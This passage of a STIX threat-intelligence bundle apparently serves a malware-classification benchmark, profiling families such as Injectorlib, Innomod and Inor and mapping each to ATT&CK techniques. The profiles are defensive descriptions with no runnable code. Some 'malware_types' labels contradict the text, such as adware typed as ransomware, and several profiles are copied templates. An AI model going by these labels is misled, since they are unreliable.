        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bcad710-576d-5bb8-99f0-8301875edb99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6269bc4d-7b84-5dd8-80e2-c6d1ca6aa3eb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Injeber exhibits technique T1055 (Process Injection (The core functionality of the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--916cdebd-4fdb-52a9-8bef-5c3cceceb316",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6269bc4d-7b84-5dd8-80e2-c6d1ca6aa3eb",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Injeber exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (A common technique used by these tools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49ed574f-29ea-58f2-a942-96af549d8456",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6269bc4d-7b84-5dd8-80e2-c6d1ca6aa3eb",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Injeber exhibits technique T1055.012 (Process Injection: Process Hollowing (Replacing legitimate code with malicious payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64a34a33-a1b7-5971-aa85-d7af56411a8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Injectorlib",
      "description": "HackTool:Win32/Injectorlib is not a standalone malware family, but a **Heuristic Detection** specifically targeting the *behavior* of Code Injection. It flags executable files or dynamic-link libraries (DLLs) that attempt to forcefully insert their code into the memory space of another running process. This is a foundational technique used by nearly all advanced malware to evade detection and hide their malicious activity.<br><br><b>Understanding Process Injection (Injectorlib)</b><br>To an end-user, this detection usually appears as a blocked execution of a seemingly random file. For a security analyst, an Injectorlib alert is a critical indicator of Defense Evasion (`T1055`). By injecting code into a legitimate, trusted process (like `svchost.exe`, `explorer.exe`, or a browser), the malware can bypass host-based firewalls, evade static antivirus signatures, and operate under the security context of the hijacked process.<br><br><b>Execution and Injection Mechanics</b><br>The mechanics of injection vary depending on the specific malware using it. Common methods flagged by this heuristic include DLL Injection (`T1055.001`), where the malware forces a remote process to load a malicious DLL using `CreateRemoteThread` and `LoadLibrary`; Process Hollowing (`T1055.012`), where a legitimate executable is started in a suspended state, its memory unmapped, and replaced with malicious code; and Asynchronous Procedure Call (APC) injection (`T1055.004`), where malicious code is attached to a thread's APC queue. The Injectorlib heuristic monitors API calls associated with these techniques, such as `VirtualAllocEx`, `WriteProcessMemory`, and `SetThreadContext`.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the injected payload, ranging from data theft to ransomware deployment. Host-based IoCs include EDR alerts specifically highlighting cross-process memory access, anomalous child processes spawning from system binaries (e.g., `svchost.exe` launching `cmd.exe`), and unexpected network connections originating from trusted processes. Memory analysis is essential to extract the injected payload and determine the true nature of the attack. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Injectorlib",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/injectorlib"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d05fe65b-2254-5070-879b-61e06a3e90e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64a34a33-a1b7-5971-aa85-d7af56411a8d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Injectorlib exhibits technique T1055 (Process Injection (The core heuristic trigger))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e19cde-91f7-5b99-b2e7-b2e4cf42b780",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64a34a33-a1b7-5971-aa85-d7af56411a8d",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Injectorlib exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e395e02-944a-5f7b-bff6-7aa879f5ff4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64a34a33-a1b7-5971-aa85-d7af56411a8d",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Injectorlib exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ffc2e586-e32f-502e-ad45-4109c1c8bcb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inno",
      "description": "Adware:Win32/Inno (often detected due to the malicious abuse of the legitimate **Inno Setup** compiler) is a pervasive commercial software bundling framework and adware injection platform. It is designed to take legitimate freeware and 'wrap' it in a deceptive installer created with Inno Setup that uses 'Dark Patterns' to trick users into installing multiple aggressive adware payloads and browser hijackers alongside the desired software.<br><br><b>Understanding Malicious Inno Setup Wrappers</b><br>To an end-user, the infection appears as a standard software setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC. The developers of the wrapper operate on a Pay-Per-Install (PPI) model, receiving financial compensation from adware vendors for every successful installation. They specifically abuse the widely trusted Inno Setup compiler to evade generic AV detection.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Inno is almost exclusively encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the Inno-compiled wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the EULA, or confusingly worded 'Decline' buttons that actually accept the offer (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`). Advanced variants use embedded Pascal scripting within the Inno installer to dynamically pull down payloads based on the victim's geolocation.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience and unauthorized tracking. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) dropping and executing multiple unrelated adware binaries from the `%Temp%` directory. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inno",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inno"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a77f6b9-6ddf-5c33-a699-81914bf4ea6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc2e586-e32f-502e-ad45-4109c1c8bcb6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inno exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ecfd826-36f2-5a50-85c5-543b583cfb2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc2e586-e32f-502e-ad45-4109c1c8bcb6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inno exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--897fca62-90c9-5f92-bff6-b7e7f57e2369",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc2e586-e32f-502e-ad45-4109c1c8bcb6",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inno exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5457e7e5-12ac-5659-8ed4-d21d1e526159",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc2e586-e32f-502e-ad45-4109c1c8bcb6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inno exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64ed3f44-40b7-5dfb-896d-99714c62a434",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Innomod",
      "description": "<h3>Executive Summary</h3>\nInnomod is a prevalent family of Potentially Unwanted Programs (PUPs) and aggressive Adware designed to monetize an infected user's web browsing activity. It frequently masquerades as a legitimate browser optimization tool or necessary system utility, but its primary function is to intercept web traffic, alter browser configurations, and inject intrusive advertisements into the user's display.\n\n<h3>Distribution and Technical Behavior</h3>\nInnomod is almost exclusively distributed via deceptive software bundling. It is commonly hidden within the \"Custom Installation\" options of free software installers downloaded from low-reputation, third-party software portals.\n\nOnce executed, Innomod deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> Innomod aggressively alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators, allowing them to generate illicit pay-per-click revenue.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions (BHOs in older systems) to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, and sponsored in-text hyperlinks.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Innomod creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Innomod does not actively encrypt files (like ransomware) or steal banking credentials, it introduces massive operational friction. The injected advertisements significantly degrade system performance, and the hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Innomod executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Innomod",
        "PUP.Innomod",
        "BrowserModifier:Win32/Innomod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Innomod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/innomod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--805ede29-eb5c-507d-9630-5a388e3234a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64ed3f44-40b7-5dfb-896d-99714c62a434",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Innomod exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca23c85c-6251-53ae-a815-02cce2796be7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64ed3f44-40b7-5dfb-896d-99714c62a434",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Innomod exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5460c05-7b63-5a60-8b0b-ef2a14e09b67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64ed3f44-40b7-5dfb-896d-99714c62a434",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Innomod exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bc7a324d-e283-5122-b5e5-6ba21756bb52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inor",
      "description": "<h3>Executive Summary</h3>\nInor is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nInor is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Inor operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Inor ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Inor receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Inor infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Inor executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Inor frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Inor",
        "Downloader.Inor",
        "Win32/Inor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74ebe3fe-9893-5454-b626-cec0f2b205ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc7a324d-e283-5122-b5e5-6ba21756bb52",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a890a42e-de0e-533c-9ae2-1de82725e640",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc7a324d-e283-5122-b5e5-6ba21756bb52",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91ea0779-c06d-5965-aa1d-6e6bb522f576",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc7a324d-e283-5122-b5e5-6ba21756bb52",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a76da0c-4154-5de8-b3a6-94e25ea71fa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inrogatio",
      "description": "<h3>Executive Summary</h3>\nInrogatio is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nInrogatio is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Inrogatio operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Inrogatio ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Inrogatio receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Inrogatio infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Inrogatio executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Inrogatio frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Inrogatio",
        "Downloader.Inrogatio",
        "Win32/Inrogatio"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inrogatio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inrogatio"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34181e7b-1c19-579b-9df2-69932469fe96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a76da0c-4154-5de8-b3a6-94e25ea71fa6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inrogatio exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5833b597-4bab-5376-94e9-d03214826d63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a76da0c-4154-5de8-b3a6-94e25ea71fa6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inrogatio exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--897f44bb-cf98-5a11-9c9d-538915ad7099",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a76da0c-4154-5de8-b3a6-94e25ea71fa6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inrogatio exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1aff49c5-3926-525b-bf28-77ae6e67f1ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Insebro",
      "description": "<h3>Executive Summary</h3>\nInsebro is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nInsebro is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Insebro operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Insebro ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Insebro receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Insebro infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Insebro executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Insebro frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Insebro",
        "Downloader.Insebro",
        "Win32/Insebro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Insebro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/insebro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37c45583-7a16-5468-82f8-aef1c2b6f684",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1aff49c5-3926-525b-bf28-77ae6e67f1ee",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Insebro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cdf333d-d746-5b42-9946-de2c15c8fc7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1aff49c5-3926-525b-bf28-77ae6e67f1ee",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Insebro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6673241b-c36b-5856-a740-196769c7f9ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1aff49c5-3926-525b-bf28-77ae6e67f1ee",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Insebro exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba23ab6c-c9e8-5c7a-b372-96e0608db0a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inservice",
      "description": "Trojan:Win32/Inservice is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Inservice</b><br>To an end-user, an Inservice infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Inservice is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Inservice is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Inservice frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Inservice reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader 